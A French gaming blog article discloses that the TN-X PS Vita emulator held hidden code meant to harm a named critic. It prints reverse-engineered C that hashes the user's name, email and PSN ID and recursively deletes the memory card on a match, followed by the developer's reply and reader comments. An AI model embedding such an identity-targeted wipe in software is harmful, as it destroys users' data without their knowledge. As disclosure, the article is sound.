Custom Protocol

[MàJ] [Vita] Le TN-X : un malware bien caché (patch disponible)

La vie n'est pas rose et même la scène underground regorge de personnes malhonnêtes... C'est le cas de Total_Noob, qui vient de perdre tout mon respect aujourd'hui. :-/

Merci à @Windvern pour la superbe vignette ! 8-)
Merci à @Windvern pour la superbe vignette ! 😎

Comme je l'ai dit sur Twitter (merci à @Applelo1 pour l'inspiration) : le monde est rose, mais c'est du rose de PQ : il y a donc de la merde à certains endroits (beaucoup même)... Et ce quel que soit le domaine : qu'il s'agisse de politique, de sport, de cinéma, de musique, de jeux vidéo, des individus parfois idolâtrés n'hésitent pas à user de coups bas pour parvenir à leurs sombres fins, quitte à ce que leur supercherie soit découverte et divulguée au monde entier, que tout le respect que portaient des centaines, des milliers voire des millions de personnes partent en fumée et qu'ils perdent leur(s) statut(s)/métier(s).

Introduction :

Avant toute chose, soyons clairs : Total_Noob est l'un des plus grands noms de la scène hack PSP & PS Vita de ces dernières années, c'est lui qui est à l'origine des Custom Firmwares TN sur PSP ainsi que des nombreux eCFW TN-V (émulateur PSP qui va même jusqu'à émuler le XMB), TN-C et plus récemment TN-X de la PS Vita. Et pour tout ce travail qu'il a accompli et qui a permis des avancées considérables, je respecte son implication, ses qualités/compétences de hackeur et chacune de ses productions.

L'excellent CFM 6.38 TN-1 Extended
L'excellent CFM 6.38 TN-1 Extended

Néanmoins, vous devez savoir que certaines personnes peuvent cacher une face bien moins souriante et confiante qu'ils ne peuvent le laisser penser. Total_Noob fait partie de cette catégorie d'individus, très peu respectables et fortement dédaignables, et c'est pour cette personnalité méprisable que je ne respecte pas... pardon, que je ne respecte plus ce programmeur. Enfin, quoiqu'il en soit, il est tombé extrêmement bas dans mon estime, et je suis le premier déçu par le comportement qu'il a eu.

Je vais vous expliquer ce qu'il s'est passé, mais attention : le dossier risque d'être assez long. Assurez-vous donc d'avoir un peu de temps à perdre devant vous, et activez le mode "père Castor" !

Photo du TN-X par REPREP sur une PS TV
Photo du TN-X par REPREP sur une PS TV

Le TN-X : pourquoi il est méchant m'sieur ?

Revenons quelques jours en arrière : le 12 mars dernier, Total_Noob dévoilait publiquement le fruit de son travail acharné : le TN-X, un autre eCFW pour PS Vita qui avait la particularité de lancer (enfin !) les backups de jeux PS1 sans problème. À peine quelques jours plus tard, malgré la grande qualité de l'émulateur, de nombreux internautes ont soulevé un point assez fâcheux : la signature automatique de chaque screenshot. Une version 2 est donc rapidement sortie pour le plus grand bonheur de tous, ce afin de contourner ce problème majeur et ma foi assez contrariant (c'est pas que j'aime pas avoir des screenshots signés, hein, non pas du tout, mais... voilà quoi). 

Il est où le rapport ? Je commence à m'endormir...

Pour une personne "normale" comme la plupart d'entre vous, c'est-à-dire qui n'a pas d'affinité spéciale avec les pirates informatiques qui nous pondent chaque mois des logiciels de plus en plus performants et utiles (je ne sais pas si une icône du hack PSP/Vita nous lit, mais si oui qu'il soit le bienvenu ! :D), vous n'avez normalement rien remarqué : tous vos eCFW marchaient à perfection et dans le meilleur des mondes, et le dernier TN-X vous semblait le plus abouti jusqu'à ce jour.

Photo du TN-V en action sur 2 PS Vita, prise par The Zett
Photo du TN-V en action sur une PS Vita, prise par The Zett

Seulement voilà : comme dans chaque domaine, quels que soient leur importance et leur puissance, les "chefs" ne travaillent pas pour autant tous mains dans la mains, en partageant tous leurs secrets et en caressant des licornes qui passent par-ci ou par-là. La scène underground ne déroge pas à la règle : deux grands développeurs reconnus peuvent se faire la guerre dans l'ombre et se haïr mutuellement (ou non), certains n'hésitant pas à en venir jusqu'au mensonge, à la propagation d'intox ou, pire, à la tentation/recherche d'éliminer leur(s) adversaire(s) par tous les moyens possibles.

Je me répète un peu, mais cet événement me désespère tellement que j'essaie de me calmer en rédigeant ce looong dossier, plutôt que d'en venir directement aux faits et dénoncer les actes assassins de Total_Noob... Enfin bref, faut que je me lance : en gros son fameux programme TN-X visait secrètement des cibles, qui ne sont autres que... bah des grands noms de la scène hack PSP & Vita et autres ennemis de l'auteur. La cible numéro 1 : The Zett, rédacteur principal sur le site anglophone de référence Wololo et créateur du site d'archives Zload.net.

Cible principale repérée
Cible principale repérée

Les dégâts engendrés :

Si vous faisiez partie de la blacklist (la $hit-list) du développeur, vous aurez peut-être remarqué que votre PS Vita agissait étrangement avec les fichiers pourtant officiels et fonctionnels du TN-X. Dès le début, on peut se douter que quelque chose ne va pas : au lieu du traditionnel écran vert qui fait office de transition avant de lancer le programme, un écran rouge permanent apparaît à l'écran et ne lance pas l'émulateur, bien que tous les fichiers aient été correctement installés et mis en place. On se retrouve donc bloqué éternellement devant cet écran de la mort, dans l'incapacité de faire quelque chose...

Mais ce n'est pas tout, ce ne serait pas assez drôle sinon : à chaque tentative du lancement du TN-X, une augmentation de l'espace libre est aussi observable. Et devinez comment une telle chose peut se produire ? Bingo, c'est le programme qui supprime vos fichiers ! En clair, si vous faites partie de cette "liste personnelle", vous pouvez dès à présent vous attendre au pire sur votre système PS Vita et les données qui y sont stockées, car on ne sait pas encore si d'autres "fonctions" détestables de ce genre ont été cachées dans les releases les plus récentes. Croisons les doigts...

Dites au revoir un à un à tous vos fichiers
Dites au revoir un à un à tous vos fichiers

Si, en revanche, vous n'êtes pas une "cible" de Total_Noob, vous pouvez théoriquement continuer à n'éprouver aucune crainte (enfin presque) vis-à-vis de ses applications dont il serait bête de se passer (comme les TN-V et TN-X qui, on ne peut le nier, sont tout de même géniaux). Ayez juste en tête que l'individu derrière toutes ces belles créations n'est peut-être pas aussi "cool" et "sympathique" que nous ne l'imaginiez, et que comme vous le disait souvent votre mère : "l'habit de fait pas le moine". 

La ruse de Total_Noob :

Pour en revenir à notre petite histoire, en réalité cette ruse ne viserait (à priori) personne d'autre que The Zett : Total_Noob n'aurait en effet apparemment pas apprécié ce qu'aurait dit le rédacteur (quand et où, je ne sais pas), à savoir une vive critique de la signature des screenshots sur le TN-X dont nous avons parlé plus haut. 

Les deux versions sont ainsi concernées, et bien qu'elles ne semblent affecter que The Zett, il est tout à fait possible qu'un imprévu se déclenche et que la mauvaise personne soit attaquée. Pensez par exemple aux Gateway, ces linkers 3DS, qui peuvent bricker une console à cause de leur mesure anti-clonage... Soyez donc vigilent, et éteignez directement le programme si vous tombez sur un écran rouge avant de le supprimer définitivement de votre carte mémoire.

Code malveillant du TN-X
//popcorn.prx reverse
 
const char * username; //10472
const char * email; //10673
const char * psn_id; //10689
 
int remove(const char * path) //sub_000000F8
{
        char buffer[256];
        SceIoDirent entry;
        SceUID dir = sceIoDopen(path);
 
        if(dir < 0)
                sceIoRemove(path);
        else
        {
                memset(&entry, 0, sizeof(SceIoDirent));
                while(sceIoDread(dir, &entry) >= 0)
                {
                        if(entry.d_name[0] != '.')
                        {
                                sprintf(buffer, "%s/%s", path, entry.d_name);
                                remove(buffer);
                        };
                       
                        memset(&entry, 0, sizeof(SceIoDirent));
                };
               
                sceIoDclose(dir);
                sceIoRmdir(path);
        };
       
        return 0;
};
 
void break_zett() //sub_000001D4
{
        static const char sha_1[20] = {0xB7, 0xC1, 0xBC, 0xFF, 0x2A, 0x4C, 0x2F, 0x43, 0xAC, 0x12, 0xA6, 0x22, 0xB7, 0x0A, 0x80, 0xF3, 0xF3, 0xEC, 0x25, 0x0C}; //7620
        static const char sha_2[20] = {0xDD, 0xD0, 0x06, 0xD4, 0x7C, 0x13, 0x61, 0x92, 0xBD, 0xD4, 0x17, 0x8F, 0xDE, 0x6A, 0xBF, 0x3B, 0x4A, 0x1D, 0x3F, 0xDA}; //7600
        static const char sha_3[20] = {0x24, 0x57, 0x15, 0x9E, 0xD1, 0xD8, 0x13, 0x30, 0x0F, 0xDB, 0xEA, 0x8E, 0xA5, 0x5F, 0xF7, 0xF5, 0x42, 0x50, 0xE1, 0xD8}; //7580
       
        char buffer1[20]; //7876
        char buffer2[20]; //7856
        char buffer3[20]; //7836
       
        sceKernelUtilsSha1Digest(username, strlen(username), buffer1);
        sceKernelUtilsSha1Digest(email, strlen(email), buffer2);
        sceKernelUtilsSha1Digest(psn_id, strlen(psn_id), buffer3);
 
        if(!memcmp(buffer1, sha_1, 20) || !memcmp(buffer2, sha_2, 20) || !memcmp(buffer3, sha_3, 20))
                remove("ms0:");
};

Mais comment diable Total_Noob a manigancé tout cela ? Rien de plus simple : le code (merci à GBOT pour l'avoir déniché) commence par vérifier le nom d'utilisateur, l'email et l'ID PlayStation Network (Sony Entertainment Network aujourd'hui) puis supprime tout ce qui se trouve dans "ms0:/" (ligne 51) si l'une des valeurs correspond à celles enregistrées (ligne 50). Au moins, ça n'a l'air de supprimer que les fichiers de la partie "PSP" de la PS Vita, c'est déjà ça. Vous remarquerez le doux nom de la fonction (break_zett()) au passage... 

Petite précision que je me permets d'inclure ici : il semblerait que Total_Noob n'en soit pas à son premier coup, l'un des ses premiers HEN pour PSP 3000/Go en 6.XX se serait basé effectivement sur du code volé à un kernel exploit découvert par quelqu'un d'autre, comme le rapporte n00b81 sur le site PlaystationHaX. On peut donc en déduire qu'il est sans scrupule, d'autant plus qu'à l'époque un site francophone du nom de PSPGen (tiens, ça me dit quelque chose :P) l'aurait soudoyé avec une PS3 et un peu d'argent pour continuer et être averti en premier de ses derniers "travaux". The Zett aurait aussi à plusieurs reprises critiqué Total_Noob, bien qu'il ait toujours fait l'éloge de ses productions. Bref, à méditer et prendre avec des pincettes...

Qwikrazor87, notre sauveur !

Je l'ai déjà dit plusieurs fois, mais ce genre d'actes est impardonnable : la réputation de Total_Noob en a pris un coup, et un sacré coup même. Bien que le respect que j'avais pour lui est parti s'enfouir sous les icebergs du Pôle Nord, il n'en reste pas moins que le TN-X est quand même un logiciel non négligeable.

Heureusement qu'intervient le célèbre Qwikrazor87, aka "notre sauveur". Le développeur vient effectivement de mettre en ligne la version TN-X v2 Mod qui assure l'absence de ce code malveillant pouvant faire peur aux plus craintifs et soigneux d'entre nous. Sentez-vous donc enfin respirer et l'esprit léger après toutes ces lignes qui n'ont fait que vous stresser (je ne l'espère pas), et téléchargez donc ce MOD certifié "sans code malveillant et caché ni blacklist" pour évincer tout soupçon de suppression de vos chers fichiers.

Instructions disponibles iciHomebrew non signé
TN-X v2 Mod par Qwikrazor87

Merci d'avoir eu le courage d'avoir lu en entier mon dossier, et à très bientôt ! ;) 

Mise à jour : voici la réponse Total_Noob. Effectivement, la cible n'était autre que The Zett d'après ses propos.

Mes fichiers ne vérifient que 2 choses
En premier lieu, ils vérifient (s'il s'agit de The Zett) et ne font qu'afficher un écran rouge sans nuire
En second lieu, ils vérifient si la première vérification n'a pas été désactivée
Si oui, ils effacent le contenu de la carte mémoire
Cela veut donc dire que The Zett a utilisé une version modifiée de mon travail, c'est donc de sa faute
La version officielle et non modifiée n'est donc censée qu'afficher un écran rouge
Souvenez-vous : Dark_AleX avait utilisé une méthode similaire pour vérifier si son code avait été modifié et brickait la PSP si cela s'avérait vrai.
Total_Noob

The Zett n'a pas souhaité répondre publiquement.









9 commentaires

  • honte à se développeur qi avais une bonne réputation et qui malheureusement à eu la folie des grandeurs au détriment des utilisateurs

  • Son comportement est complètement puéril... C'est dommage d'en arriver là et de ne pas vouloir partager son code. En plus la réaction de T_N est beaucoup plus...virulente que dans l'article x)

  • "du nom de PSPGen l’aurait soudoyé avec une PS3 et un peu d’argent pour continuer et être averti en premier de ses derniers “travaux”.
    I'm choqued. Vraiment.
    Je m'étais toujours demandé comment ils faisaient pour avoir les exclus, et pas qu'avec T_N. Maintenant, je crois voir...
    Maintenant, ils peuvent plus le faire :trollface: (comprenne qui pourra)

  • Ah ouais quand même... C'est vraiment con d'en arriver la. Moi qui pensais que presque tous les devs/hack de la PSV collaboraient tous ensembles :/

Suivez-nous

Venez, on n'est pas méchants, on est même très sympas ! 🙂

Nouveaux sujets

[question] jouer en ligne
November 7, 2019, 12:50 pm par avensis

Catégories

Archives

Bannière Hypsoma

Suivez-nous

Venez, on n'est pas méchants, on est même très sympas ! 🙂

Catégories

Archives